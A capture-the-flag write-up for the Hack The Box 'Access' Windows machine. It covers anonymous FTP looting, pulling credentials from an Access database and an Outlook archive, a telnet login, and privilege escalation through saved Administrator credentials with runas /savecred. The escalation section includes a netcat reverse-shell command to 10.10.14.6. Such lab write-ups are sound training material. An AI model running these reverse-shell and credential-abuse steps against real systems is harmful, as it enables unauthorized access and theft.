# HTB | Access

This is a Windows box. You can find it [here](https://app.hackthebox.com/machines/Access).

#### Skill Learned

* Enumeration of Access Databases and Outlook Personal Archives&#x20;
* Identification of saved credentials&#x20;

## NMAP

**IP**: 10.10.10.98

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FFBm6mvJf5MEE6No0sKwA%2Fimage.png?alt=media&#x26;token=294e66de-e5fe-4e8a-91ac-ca391c98c46c" alt=""><figcaption><p>rustscan</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FuNO2gQr7BSGAKxV1ghFN%2Fimage.png?alt=media&#x26;token=d6c1f376-ca1c-42e9-a373-f1f1e8b3ba03" alt=""><figcaption><p>nmap scan</p></figcaption></figure>

### FTP

anonymous logn was allowed

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FtPjRhZWgWfZXRBjguc4j%2Fimage.png?alt=media&#x26;token=d9ab09ff-4a75-4046-a83c-8bf9c1fa5af0" alt=""><figcaption><p>ftp 10.10.10.98</p></figcaption></figure>

Got backup.mdb&#x20;

before downloading the file set FTP to binary

```
binary 
get backup.mdb
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fyb1ZOu4859KU3fcimqyM%2Fimage.png?alt=media&#x26;token=37d5557a-54bd-4ae0-a276-5b6ab4a5b52e" alt=""><figcaption><p>get backup.mdb</p></figcaption></figure>

```
Got Access Control.zip
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FxR0HQWhGKFBoArdpKiCT%2Fimage.png?alt=media&#x26;token=ab3a6a24-ef7f-47ea-b23d-e7aded91bee8" alt=""><figcaption><p>Get Access Control.zip</p></figcaption></figure>

unzip command fails,&#x20;

let's try 7z Now it is asking for a password

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FuALQb09n96X0Ol9xdSw5%2Fimage.png?alt=media&#x26;token=f175c5be-a2c9-48ef-8e03-60fa56c9031a" alt=""><figcaption><p>unzip Access\ Control.zip</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fn2VBoPLVSMWPluyoolro%2Fimage.png?alt=media&#x26;token=a5b3fb5c-7ae2-4493-88d1-45e90c9afb1a" alt=""><figcaption><p>7x x Access\ Control.zip</p></figcaption></figure>

We have a backup.mdb file, The file is a Microsoft Access Database:

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F6pjp5BOgy1G8aoVZ6hUE%2Fimage.png?alt=media&#x26;token=345ae072-21bb-4153-b69b-99e7f8491fc7" alt=""><figcaption><p>file backup.mdb</p></figcaption></figure>

Now to open the file I will use mdbtools 'apt install mdbtools'

```
mdb-tables
```

We found alot of tables

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FQQaZUc4ect7UEaBh95Sd%2Fimage.png?alt=media&#x26;token=ec08e26a-1881-45e7-b176-6a0b785f6508" alt=""><figcaption><p>mdb-tables backup.zip</p></figcaption></figure>

We will use

```
mdb-tables backup.mdb | grep --color=auto user
```

to see the tables for the user, we found auth\_user

```
mdb-export backup.mdb auth_user
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FwQpZlUzE3M4SMAvNPZ3h%2Fimage.png?alt=media&#x26;token=a57e5cfb-7604-4468-87ac-3181fe861c8b" alt=""><figcaption></figcaption></figure>

we have admin: admin engineer:access4u@security

Now we can try unzipping the "Access Control".zip  "access4u@security" works

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FAuXIdvkY8TEoNyVWJZhc%2Fimage.png?alt=media&#x26;token=d657708e-1e81-4388-9b40-71d254ac2cc6" alt=""><figcaption></figcaption></figure>

Now we have an Outlook folder

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FhgMbGaavfS7EzlwFZV8y%2Fimage.png?alt=media&#x26;token=0daab27a-89b2-4d2b-9d64-e79cfc0cbc56" alt=""><figcaption></figcaption></figure>

## Foothold/ shell

I am using [this](https://goldfynch.com/pst-viewer/index.html) for viewing the file online.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FPuM7WsQ5cefIfl5k9ssF%2Fimage.png?alt=media&#x26;token=ab3058ac-870b-408d-ae18-54e0fa624701" alt=""><figcaption></figcaption></figure>

Boom we have a password for the security account

Since the telnet was open

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FsAvxatdjIXfE3ROeolct%2Fimage.png?alt=media&#x26;token=1e1a2a31-442f-4fef-a2c9-8c450ad7c471" alt=""><figcaption><p>telnet</p></figcaption></figure>

boom we are in

Found user.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FsPcfabFobdy16eoUwFjf%2Fimage.png?alt=media&#x26;token=5faa7199-d47b-49b7-8276-238b39461227" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Priv Esc

On runnng cmdkey /list

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fy0tPgL4pEQVPmadfr1fr%2Fimage.png?alt=media&#x26;token=0cd88cca-af91-4b33-8917-8cebe6103e19" alt=""><figcaption><p>cmdkey /list</p></figcaption></figure>

We found Administrator cred stored on the system

We can use this to copy the root.txt

```
C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > 
C:\Users\security\root.txt"
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FPABZHWOK6Iy8mKzsjrEy%2Fimage.png?alt=media&#x26;token=1f9769e7-1e0f-42dd-b1b8-4a4a06c16021" alt=""><figcaption></figcaption></figure>

and boom we have root.txt

We can also have an administrator shell by using nc.exe After transferring the nc.exe we have to

On our system _nc -nlvp 1234_

on box&#x20;

```
C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c C:\Users\security\nc.exe -e C:\Windows\System32\cmd.exe 10.10.14.6 1234"
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FgG9lIyJlmi6IJ99QQUAo%2Fimage.png?alt=media&#x26;token=5dc2dbf4-9630-49d0-95d5-bee75cbb2471" alt=""><figcaption><p>root.txt</p></figcaption></figure>
